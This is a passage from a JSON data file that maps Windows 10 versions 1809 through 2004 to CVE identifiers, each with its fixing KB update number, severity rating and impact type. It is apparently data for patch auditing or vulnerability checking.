Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013945","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for ARM64-based 